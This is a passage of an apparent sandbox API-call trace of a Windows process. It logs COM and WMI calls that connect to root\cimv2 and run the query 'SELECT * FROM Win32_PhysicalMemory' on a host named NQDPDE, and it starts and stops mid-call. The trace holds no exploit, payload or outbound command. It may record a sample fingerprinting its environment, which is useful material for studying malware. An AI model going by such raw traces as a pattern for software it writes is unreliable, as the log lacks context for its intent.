This=0x13a3e60, lFlags=4, puBuffLength=0x12fefc8*=0x0, pszText=0x0 | out: puBuffLength=0x12fefc8*=0xf, pszText=0x0) returned 0x0 [0211.271] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=4, puBuffLength=0x12fefc8*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fefc8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0211.271] CoGetObjectContext (in: riid=0x319476c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fef54 | out: ppv=0x12fef54*=0x135504c) returned 0x0 [0211.271] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12fef4c | out: pAptType=0x12fef4c*=1) returned 0x0 [0211.271] IUnknown:QueryInterface (in: This=0x135504c, riid=0x3194754*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12fef50 | out: ppvObject=0x12fef50*=0x0) returned 0x80004002 [0211.272] IUnknown:Release (This=0x135504c) returned 0x1 [0211.272] CoGetClassObject (in: rclsid=0x1394574*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12feb60 | out: ppv=0x12feb60*=0x13f3b28) returned 0x0 [0211.272] WbemLocator:IUnknown:QueryInterface (in: This=0x13f3b28, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12fed7c | out: ppvObject=0x12fed7c*=0x0) returned 0x80004002 [0211.272] WbemLocator:IClassFactory:CreateInstance (in: This=0x13f3b28, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed88 | out: ppvObject=0x12fed88*=0x13997a8) returned 0x0 [0211.272] WbemLocator:IUnknown:Release (This=0x13f3b28) returned 0x0 [0211.272] WbemLocator:IUnknown:QueryInterface (in: This=0x13997a8, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe9ac | out: ppvObject=0x12fe9ac*=0x13997a8) returned 0x0 [0211.272] WbemLocator:IUnknown:QueryInterface (in: This=0x13997a8, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe968 | out: ppvObject=0x12fe968*=0x0) returned 0x80004002 [0211.272] WbemLocator:IUnknown:QueryInterface (in: This=0x13997a8, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe55c | out: ppvObject=0x12fe55c*=0x0) returned 0x80004002 [0211.273] WbemLocator:IUnknown:AddRef (This=0x13997a8) returned 0x3 [0211.273] WbemLocator:IUnknown:QueryInterface (in: This=0x13997a8, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe2bc | out: ppvObject=0x12fe2bc*=0x0) returned 0x80004002 [0211.273] WbemLocator:IUnknown:QueryInterface (in: This=0x13997a8, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fe26c | out: ppvObject=0x12fe26c*=0x0) returned 0x80004002 [0211.273] WbemLocator:IUnknown:QueryInterface (in: This=0x13997a8, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe278 | out: ppvObject=0x12fe278*=0x0) returned 0x80004002 [0211.273] CoGetContextToken (in: pToken=0x12fe2d8 | out: pToken=0x12fe2d8) returned 0x0 [0211.273] CoGetContextToken (in: pToken=0x12fe6e0 | out: pToken=0x12fe6e0) returned 0x0 [0211.273] WbemLocator:IUnknown:QueryInterface (in: This=0x13997a8, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe76c | out: ppvObject=0x12fe76c*=0x0) returned 0x80004002 [0211.273] WbemLocator:IUnknown:Release (This=0x13997a8) returned 0x2 [0211.273] WbemLocator:IUnknown:Release (This=0x13997a8) returned 0x1 [0211.273] CoGetContextToken (in: pToken=0x12fed68 | out: pToken=0x12fed68) returned 0x0 [0211.273] CoGetContextToken (in: pToken=0x12fecc8 | out: pToken=0x12fecc8) returned 0x0 [0211.273] WbemLocator:IUnknown:QueryInterface (in: This=0x13997a8, riid=0x12fed98*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x12fed94 | out: ppvObject=0x12fed94*=0x13997a8) returned 0x0 [0211.273] WbemLocator:IUnknown:AddRef (This=0x13997a8) returned 0x3 [0211.273] WbemLocator:IUnknown:Release (This=0x13997a8) returned 0x2 [0211.273] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a3e60, puCount=0x12fef30 | out: puCount=0x12fef30*=0x2) returned 0x0 [0211.273] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=8, puBuffLength=0x12fef2c*=0x0, pszText=0x0 | out: puBuffLength=0x12fef2c*=0xf, pszText=0x0) returned 0x0 [0211.273] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=8, puBuffLength=0x12fef2c*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef2c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0211.273] CoCreateInstance (in: rclsid=0x6e5436ac*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6e54370c*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x12fede8 | out: ppv=0x12fede8*=0x1399748) returned 0x0 [0211.273] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1399748, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x12fee7c | out: ppNamespace=0x12fee7c*=0x13ee4b0) returned 0x0 [0211.292] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee4b0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed10 | out: ppvObject=0x12fed10*=0x1396760) returned 0x0 [0211.292] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1396760, pProxy=0x13ee4b0, pAuthnSvc=0x12fed60, pAuthzSvc=0x12fed5c, pServerPrincName=0x12fed54, pAuthnLevel=0x12fed58, pImpLevel=0x12fed48, pAuthInfo=0x12fed4c, pCapabilites=0x12fed50 | out: pAuthnSvc=0x12fed60*=0xa, pAuthzSvc=0x12fed5c*=0x0, pServerPrincName=0x12fed54, pAuthnLevel=0x12fed58*=0x6, pImpLevel=0x12fed48*=0x2, pAuthInfo=0x12fed4c, pCapabilites=0x12fed50*=0x1) returned 0x0 [0211.292] WbemLocator:IUnknown:Release (This=0x1396760) returned 0x1 [0211.292] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee4b0, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed04 | out: ppvObject=0x12fed04*=0x1396784) returned 0x0 [0211.293] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee4b0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fecf0 | out: ppvObject=0x12fecf0*=0x1396760) returned 0x0 [0211.293] WbemLocator:IClientSecurity:SetBlanket (This=0x1396760, pProxy=0x13ee4b0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0211.293] WbemLocator:IUnknown:Release (This=0x1396760) returned 0x2 [0211.293] WbemLocator:IUnknown:Release (This=0x1396784) returned 0x1 [0211.293] CoTaskMemFree (pv=0x13ccc78) [0211.293] WbemLocator:IUnknown:AddRef (This=0x13ee4b0) returned 0x2 [0211.293] WbemLocator:IUnknown:Release (This=0x1399748) returned 0x0 [0211.293] CoGetContextToken (in: pToken=0x12fe230 | out: pToken=0x12fe230) returned 0x0 [0211.293] CoGetContextToken (in: pToken=0x12fe638 | out: pToken=0x12fe638) returned 0x0 [0211.293] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee4b0, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe5d0 | out: ppvObject=0x12fe5d0*=0x1396768) returned 0x0 [0211.294] WbemLocator:IRpcOptions:Query (in: This=0x1396768, pPrx=0x13f3b40, dwProperty=2, pdwValue=0x12fe6d0 | out: pdwValue=0x12fe6d0) returned 0x80004002 [0211.294] WbemLocator:IUnknown:Release (This=0x1396768) returned 0x2 [0211.294] CoGetContextToken (in: pToken=0x12fec10 | out: pToken=0x12fec10) returned 0x0 [0211.294] CoGetContextToken (in: pToken=0x12feb70 | out: pToken=0x12feb70) returned 0x0 [0211.294] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee4b0, riid=0x12fec40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x12feb08 | out: ppvObject=0x12feb08*=0x13ee4b0) returned 0x0 [0211.294] WbemLocator:IUnknown:Release (This=0x13ee4b0) returned 0x2 [0211.294] SysStringLen (param_1=0x0) returned 0x0 [0211.294] CoGetContextToken (in: pToken=0x12fed28 | out: pToken=0x12fed28) returned 0x0 [0211.295] IWbemServices:ExecQuery (in: This=0x13ee4b0, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_PhysicalMemory", lFlags=16, pCtx=0x0, ppEnum=0x12fef3c | out: ppEnum=0x12fef3c*=0x13acdc0) returned 0x0 [0211.317] IUnknown:QueryInterface (in: This=0x13acdc0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed90 | out: ppvObject=0x12fed90*=0x13acdc4) returned 0x0 [0211.317] IClientSecurity:QueryBlanket (in: This=0x13acdc4, pProxy=0x13acdc0, pAuthnSvc=0x12fede0, pAuthzSvc=0x12feddc, pServerPrincName=0x12fedd4, pAuthnLevel=0x12fedd8, pImpLevel=0x12fedc8, pAuthInfo=0x12fedcc, pCapabilites=0x12fedd0 | out: pAuthnSvc=0x12fede0*=0xa, pAuthzSvc=0x12feddc*=0x0, pServerPrincName=0x12fedd4, pAuthnLevel=0x12fedd8*=0x6, pImpLevel=0x12fedc8*=0x2, pAuthInfo=0x12fedcc, pCapabilites=0x12fedd0*=0x1) returned 0x0 [0211.317] IUnknown:Release (This=0x13acdc4) returned 0x1 [0211.317] IUnknown:QueryInterface (in: This=0x13acdc0, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed84 | out: ppvObject=0x12fed84*=0x1396884) returned 0x0 [0211.318] IUnknown:QueryInterface (in: This=0x13acdc0, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed70 | out: ppvObject=0x12fed70*=0x13acdc4) returned 0x0 [0211.318] IClientSecurity:SetBlanket (This=0x13acdc4, pProxy=0x13acdc0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0211.348] IUnknown:Release (This=0x13acdc4) returned 0x2 [0211.348] WbemLocator:IUnknown:Release (This=0x1396884) returned 0x1 [0211.348] CoTaskMemFree (pv=0x13ccc48) [0211.348] IUnknown:AddRef (This=0x13acdc0) returned 0x2 [0211.348] CoGetContextToken (in: pToken=0x12fe2a8 | out: pToken=0x12fe2a8) returned 0x0 [0211.348] CoGetContextToken (in: pToken=0x12fe6b0 | out: pToken=0x12fe6b0) returned 0x0 [0211.348] IUnknown:QueryInterface (in: This=0x13acdc0, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe648 | out: ppvObject=0x12fe648*=0x1396868) returned 0x0 [0211.348] WbemLocator:IRpcOptions:Query (in: This=0x1396868, pPrx=0x13f3bd0, dwProperty=2, pdwValue=0x12fe748 | out: pdwValue=0x12fe748) returned 0x80004002 [0211.349] WbemLocator:IUnknown:Release (This=0x1396868) returned 0x2 [0211.349] CoGetContextToken (in: pToken=0x12fec90 | out: pToken=0x12fec90) returned 0x0 [0211.349] CoGetContextToken (in: pToken=0x12febf0 | out: pToken=0x12febf0) returned 0x0 [0211.349] IUnknown:QueryInterface (in: This=0x13acdc0, riid=0x12fecc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x12feb88 | out: ppvObject=0x12feb88*=0x13acdc0) returned 0x0 [0211.349] IUnknown:Release (This=0x13acdc0) returned 0x2 [0211.349] SysStringLen (param_1=0x0) returned 0x0 [0211.349] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a3e60, puCount=0x12fef88 | out: puCount=0x12fef88*=0x2) returned 0x0 [0211.349] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=4, puBuffLength=0x12fef84*=0x0, pszText=0x0 | out: puBuffLength=0x12fef84*=0xf, pszText=0x0) returned 0x0 [0211.349] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=4, puBuffLength=0x12fef84*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef84*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0211.349] CoGetContextToken (in: pToken=0x12fedd8 | out: pToken=0x12fedd8) returned 0x0 [0211.349] IEnumWbemClassObject:Clone (in: This=0x13acdc0, ppEnum=0x12fef94 | out: ppEnum=0x12fef94*=0x13ac528) returned 0x0 [0211.353] IUnknown:QueryInterface (in: This=0x13ac528, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee50 | out: ppvObject=0x12fee50*=0x13ac52c) returned 0x0 [0211.353] IClientSecurity:QueryBlanket (in: This=0x13ac52c, pProxy=0x13ac528, pAuthnSvc=0x12feea0, pAuthzSvc=0x12fee9c, pServerPrincName=0x12fee94, pAuthnLevel=0x12fee98, pImpLevel=0x12fee88, pAuthInfo=0x12fee8c, pCapabilites=0x12fee90 | out: pAuthnSvc=0x12feea0*=0xa, pAuthzSvc=0x12fee9c*=0x0, pServerPrincName=0x12fee94, pAuthnLevel=0x12fee98*=0x6, pImpLevel=0x12fee88*=0x2, pAuthInfo=0x12fee8c, pCapabilites=0x12fee90*=0x1) returned 0x0 [0211.353] IUnknown:Release (This=0x13ac52c) returned 0x1 [0211.353] IUnknown:QueryInterface (in: This=0x13ac528, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee44 | out: ppvObject=0x12fee44*=0x1394b84) returned 0x0 [0211.353] IUnknown:QueryInterface (in: This=0x13ac528, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee30 | out: ppvObject=0x12fee30*=0x13ac52c) returned 0x0 [0211.353] IClientSecurity:SetBlanket (This=0x13ac52c, pProxy=0x13ac528, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0211.360] IUnknown:Release (This=0x13ac52c) returned 0x2 [0211.360] WbemLocator:IUnknown:Release (This=0x1394b84) returned 0x1 [0211.360] CoTaskMemFree (pv=0x13ccc78) [0211.361] IUnknown:AddRef (This=0x13ac528) returned 0x2 [0211.361] CoGetContextToken (in: pToken=0x12fe358 | out: pToken=0x12fe358) returned 0x0 [0211.361] CoGetContextToken (in: pToken=0x12fe760 | out: pToken=0x12fe760) returned 0x0 [0211.361] IUnknown:QueryInterface (in: This=0x13ac528, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe6f8 | out: ppvObject=0x12fe6f8*=0x1394b68) returned 0x0 [0211.361] WbemLocator:IRpcOptions:Query (in: This=0x1394b68, pPrx=0x13f3cf0, dwProperty=2, pdwValue=0x12fe7f8 | out: pdwValue=0x12fe7f8) returned 0x80004002 [0211.361] WbemLocator:IUnknown:Release (This=0x1394b68) returned 0x2 [0211.361] CoGetContextToken (in: pToken=0x12fed40 | out: pToken=0x12fed40) returned 0x0 [0211.361] CoGetContextToken (in: pToken=0x12feca0 | out: pToken=0x12feca0) returned 0x0 [0211.361] IUnknown:QueryInterface (in: This=0x13ac528, riid=0x12fed70*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x12fec38 | out: ppvObject=0x12fec38*=0x13ac528) returned 0x0 [0211.361] IUnknown:Release (This=0x13ac528) returned 0x2 [0211.361] SysStringLen (param_1=0x0) returned 0x0 [0211.362] IEnumWbemClassObject:Reset (This=0x13ac528) returned 0x0 [0211.362] CoTaskMemAlloc (cb=0x4) returned 0x6015e80 [0211.362] IEnumWbemClassObject:Next (in: This=0x13ac528, lTimeout=-1, uCount=0x1, apObjects=0x6015e80, puReturned=0x327537c | out: apObjects=0x6015e80*=0x13f8838, puReturned=0x327537c*=0x1) returned 0x0 [0211.364] IUnknown:QueryInterface (in: This=0x13f8838, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe5f0 | out: ppvObject=0x12fe5f0*=0x13f8838) returned 0x0 [0211.364] IUnknown:QueryInterface (in: This=0x13f8838, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe5ac | out: ppvObject=0x12fe5ac*=0x0) returned 0x80004002 [0211.365] IUnknown:QueryInterface (in: This=0x13f8838, riid=0x737e03bc*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12fe3cc | out: ppvObject=0x12fe3cc*=0x0) returned 0x80004002 [0211.365] IUnknown:QueryInterface (in: This=0x13f8838, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe1a4 | out: ppvObject=0x12fe1a4*=0x0) returned 0x80004002 [0211.365] IUnknown:AddRef (This=0x13f8838) returned 0x3 [0211.365] IUnknown:QueryInterface (in: This=0x13f8838, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fdf04 | out: ppvObject=0x12fdf04*=0x0) returned 0x80004002 [0211.365] IUnknown:QueryInterface (in: This=0x13f8838, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fdeb4 | out: ppvObject=0x12fdeb4*=0x0) returned 0x80004002 [0211.365] IUnknown:QueryInterface (in: This=0x13f8838, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fdec0 | out: ppvObject=0x12fdec0*=0x13f883c) returned 0x0 [0211.365] IMarshal:GetUnmarshalClass (in: This=0x13f883c, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fdec8 | out: pCid=0x12fdec8) returned 0x0 [0211.365] IUnknown:Release (This=0x13f883c) returned 0x3 [0211.365] CoGetContextToken (in: pToken=0x12fdf20 | out: pToken=0x12fdf20) returned 0x0 [0211.365] CoGetContextToken (in: pToken=0x12fe328 | out: pToken=0x12fe328) returned 0x0 [0211.365] IUnknown:QueryInterface (in: This=0x13f8838, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe3b4 | out: ppvObject=0x12fe3b4*=0x0) returned 0x80004002 [0211.365] IUnknown:Release (This=0x13f8838) returned 0x2 [0211.365] CoGetContextToken (in: pToken=0x12fe900 | out: pToken=0x12fe900) returned 0x0 [0211.365] CoGetContextToken (in: pToken=0x12fe860 | out: pToken=0x12fe860) returned 0x0 [0211.365] IUnknown:QueryInterface (in: This=0x13f8838, riid=0x12fe930*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x12fe92c | out: ppvObject=0x12fe92c*=0x13f8838) returned 0x0 [0211.365] IUnknown:AddRef (This=0x13f8838) returned 0x4 [0211.365] IUnknown:Release (This=0x13f8838) returned 0x3 [0211.365] IUnknown:Release (This=0x13f8838) returned 0x2 [0211.365] CoTaskMemFree (pv=0x6015e80) [0211.365] CoGetContextToken (in: pToken=0x12fec70 | out: pToken=0x12fec70) returned 0x0 [0211.365] IUnknown:AddRef (This=0x13f8838) returned 0x3 [0211.366] IWbemClassObject:Get (in: This=0x13f8838, wszName="__GENUS", lFlags=0, pVal=0x12fef84*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12ff004*=0, plFlavor=0x12ff000*=0 | out: pVal=0x12fef84*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x12ff004*=3, plFlavor=0x12ff000*=64) returned 0x0 [0211.366] IWbemClassObject:Get (in: This=0x13f8838, wszName="__PATH", lFlags=0, pVal=0x12fef68*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12fefec*=0, plFlavor=0x12fefe8*=0 | out: pVal=0x12fef68*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\NQDPDE\\root\\cimv2:Win32_PhysicalMemory.Tag=\"Physical Memory 0\"", varVal2=0x0), pType=0x12fefec*=8, plFlavor=0x12fefe8*=64) returned 0x0 [0211.366] SysStringByteLen (bstr="\\\\NQDPDE\\root\\cimv2:Win32_PhysicalMemory.Tag=\"Physical Memory 0\"") returned 0x80 [0211.366] SysStringByteLen (bstr="\\\\NQDPDE\\root\\cimv2:Win32_PhysicalMemory.Tag=\"Physical Memory 0\"") returned 0x80 [0211.366] CoGetObjectContext (in: riid=0x319476c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fef94 | out: ppv=0x12fef94*=0x135504c) returned 0x0 [0211.366] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12fef8c | out: pAptType=0x12fef8c*=1) returned 0x0 [0211.366] IUnknown:QueryInterface (in: This=0x135504c, riid=0x3194754*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12fef90 | out: ppvObject=0x12fef90*=0x0) returned 0x80004002 [0211.366] IUnknown:Release (This=0x135504c) returned 0x1 [0211.367] CoGetClassObject (in: rclsid=0x1394304*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fe8f0 | out: ppv=0x12fe8f0*=0x6015fc0) returned 0x0 [0211.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x6015fc0, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12feb0c | out: ppvObject=0x12feb0c*=0x0) returned 0x80004002 [0211.367] WbemDefPath:IClassFactory:CreateInstance (in: This=0x6015fc0, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12feb18 | out: ppvObject=0x12feb18*=0x13f2588) returned 0x0 [0211.367] 